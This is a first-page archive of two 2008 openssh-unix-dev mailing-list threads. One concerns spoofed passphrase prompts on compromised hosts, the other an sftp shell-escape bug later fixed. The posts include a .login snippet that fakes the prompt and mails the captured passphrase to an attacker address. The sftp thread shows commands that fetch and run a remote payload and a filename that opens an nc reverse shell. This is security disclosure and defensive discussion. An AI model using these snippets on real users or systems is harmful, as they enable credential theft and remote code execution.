Trick user to send private key password to compromised host - openssh

This is a discussion on Trick user to send private key password to compromised host - openssh ; Hi list, I do not known, if this is really an issue but i noticed that when connecting to a remote ssh host with the standard linux openssh client using a private key, that there is no line of text ...

+ Reply to Thread
Page 1 of 2 1 2 LastLast
Results 1 to 20 of 22

Thread: Trick user to send private key password to compromised host

  1. Trick user to send private key password to compromised host

    Hi list,

    I do not known, if this is really an issue but i noticed that when
    connecting to a remote ssh host with the standard linux openssh client
    using a private key, that there is no line of text indicating when the
    local key-passwd process was completed and the connection session was
    established.

    On a compromised host, the login shell could write the line 'Enter
    passphrase for key 'guess the filename using the current account
    name':'. If unnoticed, the user will think, that he misstyped the
    passphrase and repeat it. After capturing the word, the login could
    continue with the standard procedure (e.g. motd banner).

    lg roman
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  2. Re: Trick user to send private key password to compromised host

    On Tuesday 13 May 2008 05:01:25 Roman Fiedler imposed structure on a
    stream of electrons, yielding:
    > Hi list,
    >
    > I do not known, if this is really an issue but i noticed that when
    > connecting to a remote ssh host with the standard linux openssh client
    > using a private key, that there is no line of text indicating when the
    > local key-passwd process was completed and the connection session was
    > established.
    >
    > On a compromised host, the login shell could write the line 'Enter
    > passphrase for key 'guess the filename using the current account
    > name':'. If unnoticed, the user will think, that he misstyped the
    > passphrase and repeat it. After capturing the word, the login could
    > continue with the standard procedure (e.g. motd banner).
    >


    What does that have to do with openssh? On a compromised host the attacker can
    do all kind of neat tricks and doesn't have to rely on openssh. For instance,
    a keylogger would be able to catch even more stuff and is probably easier to
    set up.


    Karsten.
    --
    A baby is God's opinion that the world should go on.
    -- Carl Sandburg
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  3. Re: Trick user to send private key password to compromised host

    Karsten Künne wrote:
    > On Tuesday 13 May 2008 05:01:25 Roman Fiedler imposed structure on a
    > stream of electrons, yielding:
    >> Hi list,
    >>
    >> I do not known, if this is really an issue but i noticed that when
    >> connecting to a remote ssh host with the standard linux openssh client
    >> using a private key, that there is no line of text indicating when the
    >> local key-passwd process was completed and the connection session was
    >> established.
    >>
    >> On a compromised host, the login shell could write the line 'Enter
    >> passphrase for key 'guess the filename using the current account
    >> name':'. If unnoticed, the user will think, that he misstyped the
    >> passphrase and repeat it. After capturing the word, the login could
    >> continue with the standard procedure (e.g. motd banner).
    >>

    >
    > What does that have to do with openssh? On a compromised host the attacker can
    > do all kind of neat tricks and doesn't have to rely on openssh. For instance,
    > a keylogger would be able to catch even more stuff and is probably easierto
    > set up.
    > Karsten.


    Sorry, seems that my first statement was not precise. If I connect from
    my uncompromised local host A to some malicious host B, it could trick
    me to reenter the private key password so that it is captured on B. This
    would not be possible by installing an kestroke logger on B, only
    openssh "acts" as the "keystroke logger" in this case.

    Of course, for a compromised A, openssh would not have to be blamed.

    Roman
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  4. Re: Trick user to send private key password to compromised host

    On Tue, 13 May 2008, Roman Fiedler wrote:

    > Sorry, seems that my first statement was not precise. If I connect from
    > my uncompromised local host A to some malicious host B, it could trick
    > me to reenter the private key password so that it is captured on B. This
    > would not be possible by installing an kestroke logger on B, only
    > openssh "acts" as the "keystroke logger" in this case.
    >

    What the attacker can gain from discovering private key encryption password?
    The private key itself is located on the host the ssh is invoked on, not on the
    remote and probably compromised one.
    --

    Sincerely Your, Dan.

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  5. Re: Trick user to send private key password to compromised host

    On Tue, May 13, 2008 at 11:57 AM, Roman Fiedler
    wrote:
    > Sorry, seems that my first statement was not precise. If I connect from
    > my uncompromised local host A to some malicious host B, it could trick
    > me to reenter the private key password so that it is captured on B. This
    > would not be possible by installing an kestroke logger on B, only
    > openssh "acts" as the "keystroke logger" in this case.


    A few years ago, a colleague of mine had a server that we were all
    given accounts on. Many of us logged in and changed the default
    password right away. Some other people who were given accounts never
    logged in at all, and these accounts remained with the default
    password (a plain-english password, no numbers, no punctuation).

    At some point, one account on the machine was brute-forced on that
    server, and the culprit got in using the plain-english password for
    the username they guessed. Once they were in, they downloaded a
    rootkit from Romania, compiled it into /tmp/ and rooted the machine.
    They compromised the box REPLACING the default sshd with one that
    captured the user's password on the first entry, and passed the user
    through on the second attempt.

    For every captured password, they sent that information back to a
    different server in Romania, presumably to add to their big master
    list of usernames and passwords to try against other machines.

    The part that made this particular hack very slick, was the process
    that captured the user's password, also looked at that user's
    ~/.ssh/known_hosts file, and then attempted to use THAT
    username+password against all of the hosts listed there. It also
    scanned $HOME and replicated its attack against all hosts listed in
    each user's known_hosts file, spreading the "infection".

    It was pretty nasty, and as I recall, not easy to detect at first,
    other than some of us who were used to logging in with keys were
    suddenly being prompted for our passwords.
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  6. Re: Trick user to send private key password to compromised host

    Dan Yefimov wrote:
    > On Tue, 13 May 2008, Roman Fiedler wrote:
    >
    >> Sorry, seems that my first statement was not precise. If I connect from
    >> my uncompromised local host A to some malicious host B, it could trick
    >> me to reenter the private key password so that it is captured on B. This
    >> would not be possible by installing an kestroke logger on B, only
    >> openssh "acts" as the "keystroke logger" in this case.
    >>

    > What the attacker can gain from discovering private key encryption password?
    > The private key itself is located on the host the ssh is invoked on, not on the
    > remote and probably compromised one.


    This is correct, but

    a) the attacker could have captured the key before by other means, but
    it was not yet useful (e.g. from some backup that became accessible,
    from some network dump when the key was stored via nfs/cifs once)

    b) the password could have been used also for other resources

    I know that this is no major problem, so I asked in my first message, if
    openssh developers should even care about such thing.

    Roman
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  7. Re: Trick user to send private key password to compromised host

    On Tue, 13 May 2008, Roman Fiedler wrote:

    > > What the attacker can gain from discovering private key encryption password?
    > > The private key itself is located on the host the ssh is invoked on, not on the
    > > remote and probably compromised one.

    >
    > This is correct, but
    >
    > a) the attacker could have captured the key before by other means, but
    > it was not yet useful (e.g. from some backup that became accessible,
    > from some network dump when the key was stored via nfs/cifs once)
    >

    The private key is NEVER transmitted via the network by SSH. That is why the
    public key authentication is by default secure.

    > b) the password could have been used also for other resources
    >

    This problem along with backups or NFS/CIFS traffic dumps being available to
    the attacker has nothing to do with OpenSSH at all. Those are political and too
    generic issues. If you care so much about security, keep your backups in a
    secure place and never use NFS-backed homes over insecure networks. As for
    CIFS, AFAIK it can use SSL.
    --

    Sincerely Your, Dan.

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  8. Re: Trick user to send private key password to compromised host

    On 2008-05-13 16:33, Dan Yefimov wrote:
    > On Tue, 13 May 2008, Roman Fiedler wrote:
    >>> What the attacker can gain from discovering private key encryption password?
    >>> The private key itself is located on the host the ssh is invoked on, not on the
    >>> remote and probably compromised one.

    >> This is correct, but
    >>
    >> a) the attacker could have captured the key before by other means, but
    >> it was not yet useful (e.g. from some backup that became accessible,
    >> from some network dump when the key was stored via nfs/cifs once)
    >>

    > The private key is NEVER transmitted via the network by SSH. That is why the
    > public key authentication is by default secure.
    >
    >> b) the password could have been used also for other resources
    >>

    > This problem along with backups or NFS/CIFS traffic dumps being available to
    > the attacker has nothing to do with OpenSSH at all. Those are political and too
    > generic issues. If you care so much about security, keep your backups in a
    > secure place and never use NFS-backed homes over insecure networks. As for
    > CIFS, AFAIK it can use SSL.


    Of course this is an issue for openssh; matters such as network home
    directories and backup policies are not under openssh's control, but
    openssh's private key handling IS under openssh's control. Do you even
    understand the purpose of the private key passphrase? It appears not...

    Openssh can and should write something indicating the the private key
    was successfully decrypted before continuing authentication, let alone
    requesting a shell. Arguably it should similarly print something if the
    private key was successfully retrieved from ssh-agent. This feature
    could be under control of a directive, of course.

    --
    Jefferson Ogata
    NOAA Computer Incident Response Team (N-CIRT)
    "Never try to retrieve anything from a bear."--National Park Service
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  9. Re: Trick user to send private key password to compromised host

    On Tue, 13 May 2008, Jefferson Ogata wrote:

    > > This problem along with backups or NFS/CIFS traffic dumps being available to
    > > the attacker has nothing to do with OpenSSH at all. Those are political and too
    > > generic issues. If you care so much about security, keep your backups in a
    > > secure place and never use NFS-backed homes over insecure networks. As for
    > > CIFS, AFAIK it can use SSL.

    >
    > Of course this is an issue for openssh; matters such as network home
    > directories and backup policies are not under openssh's control, but
    > openssh's private key handling IS under openssh's control. Do you even
    > understand the purpose of the private key passphrase? It appears not...
    >

    Strange assertion. Of course, I understand the purpose of the private key
    password.

    > Openssh can and should write something indicating the the private key
    > was successfully decrypted before continuing authentication, let alone
    > requesting a shell. Arguably it should similarly print something if the
    > private key was successfully retrieved from ssh-agent.


    And it can do that when run with -vv command line argument, if desired.

    > This feature could be under control of a directive, of course.
    >

    Or under command line argument's control, like it is done currently.
    --

    Sincerely Your, Dan.

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  10. Re: Trick user to send private key password to compromised host

    On 2008-05-13 22:19, Dan Yefimov wrote:
    > On Tue, 13 May 2008, Jefferson Ogata wrote:
    >>> This problem along with backups or NFS/CIFS traffic dumps being available to
    >>> the attacker has nothing to do with OpenSSH at all. Those are political and too
    >>> generic issues. If you care so much about security, keep your backups in a
    >>> secure place and never use NFS-backed homes over insecure networks. As for
    >>> CIFS, AFAIK it can use SSL.

    >> Of course this is an issue for openssh; matters such as network home
    >> directories and backup policies are not under openssh's control, but
    >> openssh's private key handling IS under openssh's control. Do you even
    >> understand the purpose of the private key passphrase? It appears not...
    >>

    > Strange assertion. Of course, I understand the purpose of the private key
    > password.


    That's not evident given your irrelevant comment that "the private key
    is NEVER transmitted via the network by SSH". The passphrase exists *in
    case* the private key file is compromised nevertheless. All this talk
    about network home directories and other nonsense is a red herring; one
    has to protect the passphrase with as much zeal as the private key file
    if the private key is to remain secure.

    If the original poster had described a way the private key file could be
    recovered by the remote host, but not the passphrase, would you be as
    dismissive about it? Is it not clear to you that it's important to
    protect both?

    >> Openssh can and should write something indicating the the private key
    >> was successfully decrypted before continuing authentication, let alone
    >> requesting a shell. Arguably it should similarly print something if the
    >> private key was successfully retrieved from ssh-agent.

    >
    > And it can do that when run with -vv command line argument, if desired.


    That's obviously not workable, unless you want a ton of debugging
    information.

    >> This feature could be under control of a directive, of course.
    >>

    > Or under command line argument's control, like it is done currently.


    Done how, other than by using -vv?

    --
    Jefferson Ogata
    NOAA Computer Incident Response Team (N-CIRT)
    "Never try to retrieve anything from a bear."--National Park Service
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  11. Re: Trick user to send private key password to compromised host

    On Wed, 14 May 2008, Jefferson Ogata wrote:

    > > Strange assertion. Of course, I understand the purpose of the private key
    > > password.

    >
    > That's not evident given your irrelevant comment that "the private key
    > is NEVER transmitted via the network by SSH". The passphrase exists *in
    > case* the private key file is compromised nevertheless. All this talk
    > about network home directories and other nonsense is a red herring; one
    > has to protect the passphrase with as much zeal as the private key file
    > if the private key is to remain secure.
    >
    > If the original poster had described a way the private key file could be
    > recovered by the remote host, but not the passphrase, would you be as
    > dismissive about it? Is it not clear to you that it's important to
    > protect both?
    >

    There's nothing to debate here. You're talking about obvious matters.

    > >> Openssh can and should write something indicating the the private key
    > >> was successfully decrypted before continuing authentication, let alone
    > >> requesting a shell. Arguably it should similarly print something if the
    > >> private key was successfully retrieved from ssh-agent.

    > >
    > > And it can do that when run with -vv command line argument, if desired.

    >
    > That's obviously not workable, unless you want a ton of debugging
    > information.
    >

    But that information is needed only in case of doubt. One don't obviously want
    it all the time. But if someone wants, he can edit sshconnect{1,2}.c replacing
    corresponding debug2() calls with calls to verbose() or logit() within
    functions try_rsa_authentication() and load_identity_file().
    --

    Sincerely Your, Dan.

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  12. Re: Trick user to send private key password to compromised host

    Hi, Roman,

    I commented on this issue quite some time ago. See:

    http://marc.info/?t=95066120400001&r=1&w=2

    It didn't generate much interest at the time, but I probably explained
    it poorly. I agree with you that it is not a show-stopper, but I
    still think it represents a significant security problem.

    I actually had a more involved conversation off-list with Dave
    Dykstra, but it never found its way back onto the list. At the risk
    of boring everyone, I've attached an infodump of my half of the
    private conversation I had with Dave, clarifying some possible
    problematic scenarios.

    To be absolutely clear, the threat model here is that the user is on
    an uncompromised host connecting to a compromised host (obviously
    without realizing that fact). The question is how the compromised
    host might go about stealing the user's passphrase.

    It's incomprehensible to me that someone would use a non-empty
    passphrase and then argue that the passphrase need not be safeguarded.
    (If you don't think passphrases are worth securing, then stop using
    them: they are merely a nuisance, otherwise.)

    Anyway, I'll add my voice to Roman and Jefferson's that at least three
    OpenSSH users think it's important to defend our passphrases against
    this threat model.

    The difficulty is how to incorporate a simple (though not foolproof)
    fix, like:

    buhr@virgo:~$ ssh taurus
    Enter passphrase for key '/u/buhr/.ssh/id_rsa':
    Enter passphrase for key '/u/buhr/.ssh/id_rsa':
    OpenSSH connection secured. <-- new message

    Welcome to taurus!

    buhr@taurus:~$

    when there are applications that might rely on the SSH client not
    printing anything locally when authenticating with a passphrase-less
    key.

    Anyway, my infodump from 8 years ago follows in the hopes that it
    might be helpful. I just noticed David Desrosiers' post: so,
    obviously, this sort of attack isn't just theoretical.

    * * *

    [ from my first Feb 16, 2000 off-list reply to Dave ]

    My concern is that the user can be *tricked* into giving the
    passphrase to the remote machine by a simple spoof attack. When the
    first line of text the user sees is:

    Enter passphrase for RSA key 'user@untrusted.host':

    he or she will naturally enter a passphrase. How can the user
    distinguish between (1) the SSH client on their local, trusted machine
    prompting them for a passphrase during the normal course of
    authentication; (2) the remote, presumably compromised, machine
    sending a bogus passphrase prompt after authenticating the user's
    client silently (in some manner than requires no passphrase or
    password, say through RSA host-based authentication)?

    As you point out, the SSH protocol has all the mechanisms in place to
    allow a user to connect from a trusted local machine to an untrusted
    remote machine via RSA authentication such that the untrusted machine
    need only know public information: the other host's public key and the
    user's public key.

    However, the current user interface does not make it clear when a user
    has passed from the trusted security domain of the local machine to
    the untrusted security domain of the remote machine. When a string of
    text---a passphrase prompt, an "Incorrect passphrase" message, or
    even:

    Secure connection to xxxx refused; reverting to insecure method.
    Using rsh. WARNING: Connection will not be encrypted.
    untrusted.host: Connection refused
    trustedhostprompt$

    ---appears on a user's screen, there's no obvious way to tell what
    host it really comes from.

    Some cautionary text in the SSH documentation and a special
    "--untrusted-host" command line option (to switch to a possibly
    inconvenient, but unspoofable, user-interface protocol) might be the
    least intrusive way to address my concern.

    * * *

    [ from a second off-list Feb 16, 2000 reply to Dave ]

    I am not talking about a man-in-the-middle attack with a phony remote
    machine. I am talking about a user on a trusted host trying to
    connect to an untrusted and possibly compromised host. The untrusted
    host *is* the host it claims to be. However, it's been compromised
    (or at least the user doesn't trust it), and the user does not want to
    give it any secret information.

    Let me give you a complete scenario:

    Suppose I have compromised the user account "victim" on the host
    "flakey". That is, I am able to log in, as user "victim", on this
    host whenever I wish. Through careful observation, I determine that
    the real "victim" logs in to "flakey" from hosts "huey", "luey", and
    "dewey" using an RSA key named "victim@duckhosts", and I assume that
    "victim" is prompted for a passphrase when he does this. Now, I add
    the lines:

    huey
    luey
    dewey

    to "victim"'s ".shosts" file on "flakey". The next time he tries to
    establish an SSH connection to "flakey" from one of these three hosts,
    he will *not* be prompted for a passphrase. Normally, the first thing
    he'd see would be the login banner, and he'd probably get suspicious.
    However, let's say---on "flakey"---I create a ".hushlogin" file in
    "victim"'s home directory, and I add the following to the end of
    his ".login" file:

    echo -n "Enter passphrase for RSA key 'victim@duckhosts': "
    stty -echo
    read passphrase
    echo "$passphrase" | mail -s 'my passphrase' attacker@another.account >& /dev/null
    echo
    cat /etc/motd
    stty echo

    Now "victim" is sitting on his trusted machine "huey". He suspects
    that "flakey" has been compromised, so he decides to log in via SSH.
    What does he see?

    huey% ssh flakey
    Enter passphrase for RSA key 'victim@duckhosts':
    Welcome to "flakey". It's been 24 days since the last
    compromise!

    flakey%

    There's no message about a man-in-the-middle attack because "flakey"
    hasn't been replaced, it's merely been compromised. "flakey"'s
    legitimate private key (matching the public key stored in
    ".ssh/known_hosts" on "huey") is still stored on "flakey" in
    "/etc/ssh_host_key", and---ironically---I still don't know it, because
    I've only cracked a user account, not the root account.

    The user's SSH client never prompts him for a passphrase because
    "huey" appears in the ".shosts" file and "huey"'s public key is in
    ".ssh/known_hosts". Based on RSA host authentication, the user is
    legitimately permitted to connect to "flakey" without providing a
    password or a passphrase, so his client lets him. However, the user
    doesn't know this---he expects to be prompted for a passphrase,
    "flakey" obliges with a bogus prompt, and I pick up "victim"'s secret
    passphrase from my mailbox at my convenience.

    "victim" feels assured that he has safely authenticated to "flakey"
    (even though he doesn't trust "flakey") via RSA authentication without
    giving "flakey" any secret information. When he types in his
    passphrase, he believes he is giving secret information to his trusted
    SSH client which will *only* provide non-secret information to
    "flakey". He's wrong; he's given his secret passphrase to "flakey"
    (and to me) without knowing it.

    Is this the end of the world? No. I only have his passphrase, and
    hopefully it doesn't unlock any private key to which I have access.
    Yet, I've still managed to collect supposedly secret information from
    my "victim".

    When would a "victim" ever realistically want to connect from a
    trusted host to an untrusted host? I can think of two real-world
    examples: a system administrator trying to safely connect to a machine
    suspected of being compromised; or a free-software developer logging
    in to a common development machine he has no authority or control
    over. With the above-mentioned attack, the user can be tricked into
    giving his or her passphrase to an attacker who has compromised the
    remote host.

    --
    Kevin Buhr
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  13. Re: Trick user to send private key password to compromised host

    On Sat, 17 May 2008, Kevin Buhr wrote:

    > Hi, Roman,
    >
    > I commented on this issue quite some time ago. See:
    >
    > http://marc.info/?t=95066120400001&r=1&w=2
    >
    > It didn't generate much interest at the time, but I probably explained
    > it poorly. I agree with you that it is not a show-stopper, but I
    > still think it represents a significant security problem.


    Simple workaround: set IdentityFIle=none in the system-wide ssh_config
    and make your users use ssh-agent.

    Fixing this is not as simple as putting a "you are now authenticated"
    message somewhere. Keyboard-interactive authentication can display
    arbitrary prompts, so a compromised server may display the spoofed
    question prior to authentication success.

    Furthermore, in a ttyful environment, connections any warning message
    can be erased through terminal manipulation.

    A so-compromised server could also pretend to fail pubkey authentication
    entirely and ask for the user's password, which seems to be a more grave
    threat (and completely impossible to defend against from the client side).

    -d
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  14. Re: Trick user to send private key password to compromised host

    Hi Damien and Kevin,

    > On Sat, 17 May 2008, Kevin Buhr wrote:
    >
    >> Hi, Roman,
    >>
    >> I commented on this issue quite some time ago. See:
    >>
    >> http://marc.info/?t=95066120400001&r=1&w=2
    >>
    >> It didn't generate much interest at the time, but I probably explained
    >> it poorly. I agree with you that it is not a show-stopper, but I
    >> still think it represents a significant security problem.


    Bad, some new scenarios, I did not think about previously.

    > Simple workaround: set IdentityFIle=none in the system-wide ssh_config
    > and make your users use ssh-agent.


    Yes, this works, and I tried also the -v (verbose) thing. After making
    my mind up over the weekend, I think of proposing a patch for the
    --paranoid option, which is somehow parallel to the standard debugging
    options. I want to modify some debugging if conditions, so that they
    write the log line if (loglevel>DEBUG_SOMELEVEL)||paranoidFlag. A login
    procedure with paranoid could look like that:

    # ssh --paranoid root@localhost
    Connecting to localhost [127.0.0.1] port 22.
    Found host key in /home/admin/.ssh/known_hosts:1
    Authentications that can continue: publickey (/home/admin/.ssh/identity)
    Authentication succeeded (publickey), entering interactive session.
    Last login: Mon May 19 14:11:38 2008 from 192.168.160.31

    The last line is already from server.


    > Fixing this is not as simple as putting a "you are now authenticated"
    > message somewhere. Keyboard-interactive authentication can display
    > arbitrary prompts, so a compromised server may display the spoofed
    > question prior to authentication success.
    >
    > Furthermore, in a ttyful environment, connections any warning message
    > can be erased through terminal manipulation.


    That's nasty, I did not think about that. But

    * interactive ssh cannot ask for additional passwords, so it will fail
    if login process missbehaves. So no additional messages are
    usefull/wanted here, and speed matters

    * --paranoid: used mainly from commandline/tty, speed does not matter
    that much. Ssh could write all local messages, wait 1 sec so that one
    can take a short look (paranoids are fast) and then move the messages up
    above the first line of the screen. The ssh tty output would then start
    in the first line, any attempt to modify/overwrite the local ssh
    messages would cause their duplication (the original ones first, the
    modified ones afterwards).

    Does someone know about tty controls, is such implementation possible/wise?

    > A so-compromised server could also pretend to fail pubkey authentication
    > entirely and ask for the user's password, which seems to be a more grave
    > threat (and completely impossible to defend against from the client side).


    That's true, but if a server refuses my pubkey, I'll go to the console
    directly (or RAC).

    > -d
    > _______________________________________________
    > openssh-unix-dev mailing list
    > openssh-unix-dev@mindrot.org
    > https://lists.mindrot.org/mailman/li...enssh-unix-dev

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  15. Re: Trick user to send private key password to compromised host

    On Tue, 20 May 2008, Damien Miller wrote:

    > Fixing this is not as simple as putting a "you are now authenticated"
    > message somewhere. Keyboard-interactive authentication can display
    > arbitrary prompts, so a compromised server may display the spoofed
    > question prior to authentication success.


    Sure, but IIRC we consider the case of requesting the private key passphrase
    for public key authentication. As soon as public key authentication succeeds
    and the client displays "Authentication succeeded" message, any other
    passphrase prompts can be certainly assumed to be bogus ones.

    > Furthermore, in a ttyful environment, connections any warning message
    > can be erased through terminal manipulation.
    >

    Sure again, but that could be to some degree worked around by using bell
    character in "Authentication succeeded" message and documenting that. For
    keyboard-interactive prompts, as a countermeasure, control characters can be
    either quoted or even stripped before displaying prompts.

    > A so-compromised server could also pretend to fail pubkey authentication
    > entirely and ask for the user's password, which seems to be a more grave
    > threat (and completely impossible to defend against from the client side).
    >

    Nothing can completely defend against compromised host actions. But displaying
    a message that public key authentication has failed can at least give careful
    user a hint that something is going wrong. Something is better than nothing.
    --

    Sincerely Your, Dan.


    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  16. Strange sftp input parameter handling, user assisted code execution?

    Hello list,

    I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication:

    sftp> get !xxxx
    /bin/bash: xxxx: command not found
    Shell exited with status 127


    sftp> get !/bin/ls -al
    total 2132
    drwxr-xr-x 4 admin users 4096 2008-06-17 16:33 .
    drwxr-xr-x 16 admin users 12288 2008-06-17 08:50 ..
    drwxr-xr-x 3 admin users 8 2008-05-21 18:38 gd


    sftp> get !wget http://10.255.255.2:1234/root ; chmod 0755 root ; ./root
    --16:54:37-- http://10.255.255.2:1234/root
    => `root'
    Connecting to 10.255.255.2:1234... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 123

    100%[====================================>] 123 13.59B/s
    ETA 00:00

    16:55:49 (7.08 B/s) - `root' saved [123/123]

    ../root: line 1: afdasfasf: command not found
    ../root: line 3: asdfa: command not found
    Shell exited with status 127
    sftp>

    On a linux server I did not manage to create a file with a / in the
    name, but a manipulated server could return such filenames or other
    strategies do not need them, e.g.
    touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying
    to download is also a good one.

    Has someone observed this behavior?
    Is this just a strange thing but according to the specs or a bug?

    lg roman
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  17. Re: Strange sftp input parameter handling, user assisted codeexecution?


    I would consider that the use of "get !ls" would be a client side bug in
    escaping (I suspect it should be filed as a ticket in
    bugzilla.mindrot.org). sftp should translate "get !ls" into either "get
    \!ls" or into the quoted counterpart.

    However, I'm not sure what this has to do with the server. Since !
    produces a local shell and has nothing to do with the remote server.

    - Ben

    On Tue, 17 Jun 2008, Roman Fiedler wrote:

    > Hello list,
    >
    > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication:
    >
    > sftp> get !xxxx
    > /bin/bash: xxxx: command not found
    > Shell exited with status 127
    >
    >
    > sftp> get !/bin/ls -al
    > total 2132
    > drwxr-xr-x 4 admin users 4096 2008-06-17 16:33 .
    > drwxr-xr-x 16 admin users 12288 2008-06-17 08:50 ..
    > drwxr-xr-x 3 admin users 8 2008-05-21 18:38 gd
    >
    >
    > sftp> get !wget http://10.255.255.2:1234/root ; chmod 0755 root ; ./root
    > --16:54:37-- http://10.255.255.2:1234/root
    > => `root'
    > Connecting to 10.255.255.2:1234... connected.
    > HTTP request sent, awaiting response... 200 OK
    > Length: 123
    >
    > 100%[====================================>] 123 13.59B/s
    > ETA 00:00
    >
    > 16:55:49 (7.08 B/s) - `root' saved [123/123]
    >
    > ./root: line 1: afdasfasf: command not found
    > ./root: line 3: asdfa: command not found
    > Shell exited with status 127
    > sftp>
    >
    > On a linux server I did not manage to create a file with a / in the
    > name, but a manipulated server could return such filenames or other
    > strategies do not need them, e.g.
    > touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying
    > to download is also a good one.
    >
    > Has someone observed this behavior?
    > Is this just a strange thing but according to the specs or a bug?
    >
    > lg roman
    > _______________________________________________
    > openssh-unix-dev mailing list
    > openssh-unix-dev@mindrot.org
    > https://lists.mindrot.org/mailman/li...enssh-unix-dev
    >

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  18. Re: Strange sftp input parameter handling,user assisted code execution?

    Roman Fiedler wrote:
    > sftp> get !xxxx
    > /bin/bash: xxxx: command not found
    > Shell exited with status 127


    To me that seems fairly normal in that it does what I would expect it
    to do based upon traditional practice and without reading any
    documentation on it. The ! is a shell escape. The xxxx is being
    executed on the local client side of the connection. On the local
    machine xxxx is executed but doesn't exist and therefore returns an
    error.

    The manual for sftp says:

    get [-P] remote-path [local-path]
    ...
    remote-path may contain glob(3) characters and may match
    multiple files.

    ! command
    Execute command in local shell.

    ! Escape to local shell.

    But I think the documentation might be improved in this area. It
    appears to be scanning the line for shell escapes prior to command
    processing.

    Try this:

    sftp> get "!xxxx"

    Bob
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  19. Re: Strange sftp input parameter handling, user assisted codeexecution?

    On Tue, 17 Jun 2008, Roman Fiedler wrote:

    > Hello list,
    >
    > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication:
    >
    > sftp> get !xxxx
    > /bin/bash: xxxx: command not found
    > Shell exited with status 127


    Can you reproduce this with OpenSSH 5.0p1?

    -d
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  20. Re: Strange sftp input parameter handling, user assisted codeexecution?

    On Wed, 18 Jun 2008, Damien Miller wrote:

    > On Tue, 17 Jun 2008, Roman Fiedler wrote:
    >
    > > Hello list,
    > >
    > > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication:
    > >
    > > sftp> get !xxxx
    > > /bin/bash: xxxx: command not found
    > > Shell exited with status 127

    >
    > Can you reproduce this with OpenSSH 5.0p1?


    I can't reproduce this with 5.0, but I can with 4.7p1 so I guess
    it was fixed in my sftp argument processing rewrite.

    -d
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


+ Reply to Thread
Page 1 of 2 1 2 LastLast